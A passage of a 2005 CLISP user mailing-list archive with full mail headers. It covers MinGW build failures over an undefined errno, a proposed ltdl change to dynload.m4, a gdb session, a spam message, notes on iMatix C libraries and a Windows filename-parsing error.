"-liconv" and it is not known "errno" in `stream.c'. should be fixed in the CVS head. -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between genius and stupidity is that genius has its limits. From kavenchuk@jenty.by Wed Mar 02 00:22:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D6P7S-0007Ua-0K for clisp-list@lists.sourceforge.net; Wed, 02 Mar 2005 00:22:10 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D6P7Q-0007xd-Bf for clisp-list@lists.sourceforge.net; Wed, 02 Mar 2005 00:22:09 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9CBLA; Wed, 2 Mar 2005 10:24:46 +0200 Message-ID: <422577D1.70104@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 2 00:22:45 2005 X-Original-Date: Wed, 02 Mar 2005 10:22:41 +0200 Sam Steingold: > > but result same: forget "-liconv" and it is not known "errno" in > `stream.c'. > > should be fixed in the CVS head. > Yes, but... CVS head (02.03.05) ./configure --with-mingw --build build-mingw .... gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o weak.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o win32aux.o built.o ari80386.o modules.o -lintl libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -liconv -L/usr/local/lib -lsigsegv -o lisp.exe stream.o(.text+0x7093):stream.c: undefined reference to `errno' stream.o(.text+0x8d02):stream.c: undefined reference to `errno' collect2: ld returned 1 exit status make: *** [lisp.exe] Error 1 -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Mar 03 01:04:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D6mGM-0007k6-Uw for clisp-list@lists.sourceforge.net; Thu, 03 Mar 2005 01:04:54 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D6mGK-0001pE-Ua for clisp-list@lists.sourceforge.net; Thu, 03 Mar 2005 01:04:54 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9CD1X; Thu, 3 Mar 2005 11:07:28 +0200 Message-ID: <4226D354.4050104@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] again stream.c Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 3 01:05:12 2005 X-Original-Date: Thu, 03 Mar 2005 11:05:24 +0200 Sam Steingold: > > stream.o(.text+0x3e5c):stream.c: undefined reference to `errno' > > fixed in the CVS head. > clisp from CVS head. ./configure --with-debug --with-mingw --build build-g .... gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -falign-functions=4 -D_WIN32 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o weak.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o win32aux.o built.o ari80386.o modules.o -lintl libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -liconv -L/usr/local/lib -lsigsegv -o lisp.exe stream.o(.text+0xc4ff): In function `oconv_unshift_output_unbuffered_': C:/gnu/home/src/clisp/clisp/build-g/stream.d:5551: undefined reference to `errno' stream.o(.text+0xf0e7): In function `oconv_unshift_output_buffered_': C:/gnu/home/src/clisp/clisp/build-g/stream.d:6851: undefined reference to `errno' collect2: ld returned 1 exit status make: *** [lisp.exe] Error 1 -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Mar 03 03:44:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D6ol5-0008Iu-Bi for clisp-list@lists.sourceforge.net; Thu, 03 Mar 2005 03:44:47 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D6ol3-0006hZ-Ht for clisp-list@lists.sourceforge.net; Thu, 03 Mar 2005 03:44:47 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9CD35; Thu, 3 Mar 2005 13:47:19 +0200 Message-ID: <4226F8CA.6010004@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] re: configure options --with-mingw --with-dynamic-modules is compatible? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 3 03:45:03 2005 X-Original-Date: Thu, 03 Mar 2005 13:45:14 +0200 Sam Steingold: >you need to modify src/m4/dynload.m4 to check for the w32 version of >dlopen &c (i.e., LoadLibrary &c), and the fix src/spvw.d which uses >dlopen(). > >alternatively, you can wait for Bruno to convert everything to ltld (?) >which is supposed to solve everything. Not ltld - ltdl (in libtooll from mingw or gnuwin32). modify src/m4/dynload.m4 probably so: ------------------------------------- $ diff -u dynload.m4 dynload.m4.new --- dynload.m4 Thu Mar 3 11:30:41 2005 +++ dynload.m4.new Thu Mar 3 11:33:55 2005 @@ -16,5 +16,11 @@ if test "$ac_cv_header_dlfcn_h" = yes; then AC_SEARCH_LIBS(dlopen, dl) AC_CHECK_FUNCS(dlopen dlsym dlerror dlclose) +else +AC_CHECK_HEADERS(ltdl.h) +if test "$ac_cv_header_ltdl_h" = yes; then + AC_SEARCH_LIBS(lt_dlopen, ltdl) + AC_CHECK_FUNCS(lt_dlopen lt_dlsym lt_dlerror lt_dlclose) +fi fi ]) -------------------------------------- But really it is enough of it? :) And where to redefine #define dlopen lt_dlopen ... if is ltdl.h instead of dlfcn.h? P.S. Excuse for questions of the beginner. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Mar 03 06:29:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D6rKt-0000XB-Uq for clisp-list@lists.sourceforge.net; Thu, 03 Mar 2005 06:29:55 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D6rKq-0004SM-HT for clisp-list@lists.sourceforge.net; Thu, 03 Mar 2005 06:29:55 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j23EOm5s020104; Thu, 3 Mar 2005 09:24:59 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4226D354.4050104@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 03 Mar 2005 11:05:24 +0200") References: <4226D354.4050104@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again stream.c Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 3 06:31:03 2005 X-Original-Date: Thu, 03 Mar 2005 09:26:09 -0500 > * Yaroslav Kavenchuk [2005-03-03 11:05:24 +0200]: > > Sam Steingold: > >> > stream.o(.text+0x3e5c):stream.c: undefined reference to `errno' >> >> fixed in the CVS head. >> > clisp from CVS head. > > stream.o(.text+0xc4ff): In function `oconv_unshift_output_unbuffered_': > C:/gnu/home/src/clisp/clisp/build-g/stream.d:5551: undefined reference > to `errno' > stream.o(.text+0xf0e7): In function `oconv_unshift_output_buffered_': > C:/gnu/home/src/clisp/clisp/build-g/stream.d:6851: undefined reference > to `errno' Oops! sorry. fixed. -- Sam Steingold (http://www.podval.org/~sds) running w2k Heck is a place for people who don't believe in gosh. From sds@gnu.org Thu Mar 03 08:48:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D6tVL-0008Sx-TZ for clisp-list@lists.sourceforge.net; Thu, 03 Mar 2005 08:48:51 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D6tV2-0007VE-9k for clisp-list@lists.sourceforge.net; Thu, 03 Mar 2005 08:48:51 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j23GkWHC012396; Thu, 3 Mar 2005 11:46:32 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4226F8CA.6010004@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 03 Mar 2005 13:45:14 +0200") References: <4226F8CA.6010004@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: configure options --with-mingw --with-dynamic-modules is compatible? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 3 08:50:03 2005 X-Original-Date: Thu, 03 Mar 2005 11:47:52 -0500 >> configure options --with-mingw --with-dynamic-modules compatible? they should be now - I ported DYNAMIC_MODULES to WIN32_NATIVE. -- Sam Steingold (http://www.podval.org/~sds) running w2k will write code that writes code that writes code for food From kavenchuk@jenty.by Fri Mar 04 00:53:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D78Ym-0008F0-Uw for clisp-list@lists.sourceforge.net; Fri, 04 Mar 2005 00:53:24 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D78Yl-0001Px-Td for clisp-list@lists.sourceforge.net; Fri, 04 Mar 2005 00:53:24 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9CFBF; Fri, 4 Mar 2005 10:56:03 +0200 Message-ID: <42282226.3090709@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] build error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 4 00:55:24 2005 X-Original-Date: Fri, 04 Mar 2005 10:53:58 +0200 clisp from CVS head $ ./configure --with-debug --with-mingw --build build-debug .... rm -f deprecated.lisp ln ../src/deprecated.lisp deprecated.lisp cp -p ../src/cfgwin32.lisp config.lisp rm -f interpreted.mem lisp.exe -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" make: *** [interpreted.mem] Error 5 $ gdb --args lisp.exe -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-mingw32"... Breakpoint 1 at 0x42477e: file eval.d, line 4931. Breakpoint 2 at 0x4220f6: file eval.d, line 4014. Breakpoint 3 at 0x41e9f9: file eval.d, line 2876. Breakpoint 4 at 0x42629a: file eval.d, line 5899. Breakpoint 5 at 0x409bee: file spvw_garcol.d, line 2422. Hardware watchpoint 6: back_trace Breakpoint 7 at 0x40c63a: file spvw.d, line 657. Breakpoint 8 at 0x403722: file spvw.d, line 479. Breakpoint 9 at 0x4037c6: file spvw.d, line 494. Breakpoint 10 at 0x4d7ace: file error.d, line 348. Breakpoint 11 at 0x4d7a62: file error.d, line 325. Num Type Disp Enb Address What 1 breakpoint keep n 0x0042477e in funcall at eval.d:4931 xout fun 2 breakpoint keep n 0x004220f6 in apply at eval.d:4014 xout fun 3 breakpoint keep n 0x0041e9f9 in eval at eval.d:2876 xout form 4 breakpoint keep n 0x0042629a in interpret_bytecode_ at eval.d:5899 xout closure 5 breakpoint keep n 0x00409bee in gar_col at spvw_garcol.d:2422 6 hw watchpoint keep n back_trace zbacktrace continue 7 breakpoint keep y 0x0040c63a in fehler_notreached at spvw.d:657 8 breakpoint keep y 0x00403722 in SP_ueber at spvw.d:479 9 breakpoint keep y 0x004037c6 in STACK_ueber at spvw.d:494 10 breakpoint keep y 0x004d7ace in fehler at error.d:348 11 breakpoint keep y 0x004d7a62 in prepare_error at error.d:325 (gdb) .gdbinit:146: Error in sourced command file: Function "sigsegv_handler_failed" not defined. -- WBR, Yaroslav Kavenchuk. From info@mail.qsv13.com Fri Mar 04 19:09:20 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D7PfM-0005Ye-Iw for clisp-list@lists.sourceforge.net; Fri, 04 Mar 2005 19:09:20 -0800 Received: from [211.36.37.15] (helo=mail.qsv13.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1D7PfL-0002MC-3e for clisp-list@lists.sourceforge.net; Fri, 04 Mar 2005 19:09:20 -0800 Received: (qmail 6817 invoked by uid 509); 5 Mar 2005 00:42:58 +0900 Message-ID: <20050304154258.6815.qmail@mail.qsv13.com> From: info@qsv13.com To: clisp-list@lists.sourceforge.net X-Spam-Score: 4.7 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.2 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 2.9 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters 2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist [URIs: moroero.net] -0.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] $B$*$D$+$l!*(B Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 4 19:09:37 2005 X-Original-Date: 5 Mar 2005 00:42:58 +0900 $B$3$NA08@$C$F$?%5%$%H$C$F$3$3$@$m!)(B $B$A$g$C$H%(%m$9$.$k$1$I!"$J$+$J$+$$$$$8$c$s!J>P(B $B$^$?26$bNI$$%5%$%H$_$D$1$?$i%a!<%k$9$k$h!*(B http://moroero.net/?sa $B$^$?%a!<%k$9$k$+$i$J$!!*(B $B:4F#$h$j!#(B From henry.lenzi@gmail.com Sat Mar 05 09:03:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D7cgt-00033j-9w for clisp-list@lists.sourceforge.net; Sat, 05 Mar 2005 09:03:47 -0800 Received: from wproxy.gmail.com ([64.233.184.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D7cgr-0003Xo-Oa for clisp-list@lists.sourceforge.net; Sat, 05 Mar 2005 09:03:47 -0800 Received: by wproxy.gmail.com with SMTP id 69so917563wri for ; Sat, 05 Mar 2005 09:03:40 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=JSiLctD/2vqSdDZlKpALfxKfiUdJwspWx/ZPkiwZeMe7Z9eA9pp6eWeJzDtPHpvFu2VM1iMTtcgmZUQxhnpXP7Y2mkr04m694+rqsLyhNEjshk9iqdfmdRwNCQAXFNsMMrqBk3p0ayizjAE6pfO7QuwbuDCw2T/uX0KgnIBqH2U= Received: by 10.54.84.11 with SMTP id h11mr14339wrb; Sat, 05 Mar 2005 09:03:40 -0800 (PST) Received: by 10.54.39.18 with HTTP; Sat, 5 Mar 2005 09:03:40 -0800 (PST) Message-ID: <8b4c81f05030509037aaaa086@mail.gmail.com> From: Henry Lenzi Reply-To: Henry Lenzi To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] [OT] Cross-platform Multi-threading library and sockets library in C Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 5 09:04:04 2005 X-Original-Date: Sat, 5 Mar 2005 12:03:40 -0500 Hi --- I found this two interesting cross-platform libraries. I don't know it's of any interest to CLISP developers, but it claims to be portable across Unixes and Windows (and OpenVMS, too). Disclaimer: I'm not affiliated to iMatrix, I just hope this helps CLISP achieve maximum cross-platform functionality. http://www.imatix.com/downloads.htm HTH. Cheers Henry Lenzi "The SMT Kernel The SMT (Simple Multi-Threading kernel) from iMatix is an add-on for the Libero programming tool that lets you write portable high-performance multithreaded programs based (..) You can use the SMT kernel for: * Internet programming: where each connection is handled by one thread. * Real-time programming: where multilevel finite-state machines work cooperatively. * GUI development: where events are collected from the GUI and passed to threads for processing. The SMT kernel's main features are: * 100% portability. * Strong object orientation. * Support for multiple FSM programs within one application. * Support for multiple threads within one FSM program. * Support for Internet protocols (TCP/IP, UDP/IP). * Based on Libero program development method. * Standard agents: http, file transfer, authorization, logging, console, timing, socket i/o. * Unrestricted number of threads, queue sizes, etc. " ------------------------------------------------------------------------------------------------- "The Standard Function Library The SFL (Standard Function Library) from iMatix is a portable function library for C/C++ programs. The SFL is the result of many years' development, and is provided as Open Source software for the benefit of the Internet community. You may want to go straight to the Table of Contents. Also, this documentation is available as a single compressed zip file or gzipped tar file, suitable for printing. The SFL is written in ANSI C and has been ported to MS-DOS, Windows, OS/2, Linux and other UNIX systems (IBM AIX, SunOS, HP/UX, Solaris, NetBSD, FreeBSD, SCO OpenServer, Digital UNIX) and Digital OpenVMS. It comes with complete sources and documentation in HTML. The SFL provides about 450 functions that cover these areas: * Compression, encryption, and encoding; * Datatype conversion and formatting; * Dates, times, and calendars; * Directory and environment access; * User and process groups; * Inverted bitmap indices; * Symbol tables; * Error message files; * Configuration files; * String manipulation and searching; * File access; * Internet socket access; * Internet programming (MIME, CGI); * SMTP (e-mail) access; * Server (batch) programming; * Program tracing. " From astebakov@yahoo.com Thu Mar 10 09:13:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D9REM-0000j7-AO for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 09:13:50 -0800 Received: from web52806.mail.yahoo.com ([206.190.39.170]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1D9REL-0006s6-Pb for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 09:13:50 -0800 Received: (qmail 95567 invoked by uid 60001); 10 Mar 2005 17:13:44 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=n4n3irGymqBMvpVqdP5cBwdldlODFsvz4cxtqA55xSGwn1nK1nYwDf2IggwQGxhiPpD+a3i38inltxm+bIXSMZwC5F7OXmxq28d5sfufi7rZzM2bMykhWmGdUvpIexjx8ItqqRkG8FrBuMBlzZavkvSYprhPvs6g+min38jd1ZY= ; Message-ID: <20050310171344.95565.qmail@web52806.mail.yahoo.com> Received: from [209.50.91.70] by web52806.mail.yahoo.com via HTTP; Thu, 10 Mar 2005 09:13:43 PST From: Andrew Stebakov To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] parse-namestring error when running CLisp on Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 10 09:14:09 2005 X-Original-Date: Thu, 10 Mar 2005 09:13:43 -0800 (PST) Hi, I guess this question was asked before I just couldn't find an answer in archives. I just install CLisp on my Windows system. I created a run-clisp-prog.bat batch file that has this commond in it: C:\cygwin\lib\clisp\base\lisp.exe -M "C:\cygwin\lib\clisp\base\lispinit.mem" -i %1 I associate open command for *.lisp extension with run-clisp-prog.bat "%1". Now, when I double click the file with *.lisp extension the clisp interpreter opens with a error: C:\dev\test\Lisp>C:\cygwin\lib\clisp\base\lisp.exe -M "C:\cygwin\lib\clisp\base\ lispinit.mem" -i "C:\dev\test\Lisp\test3.lisp" i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 *** - PARSE-NAMESTRING: syntax error in filename "C:\\dev\\test\\Lisp\\test3.lis p" at position 2 Break 1 [1]> Any help on how to fix it would be greatly appreciated! Andrew __________________________________ Do you Yahoo!? Yahoo! Small Business - Try our new resources site! http://smallbusiness.yahoo.com/resources/ From sds@gnu.org Thu Mar 10 09:38:03 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by 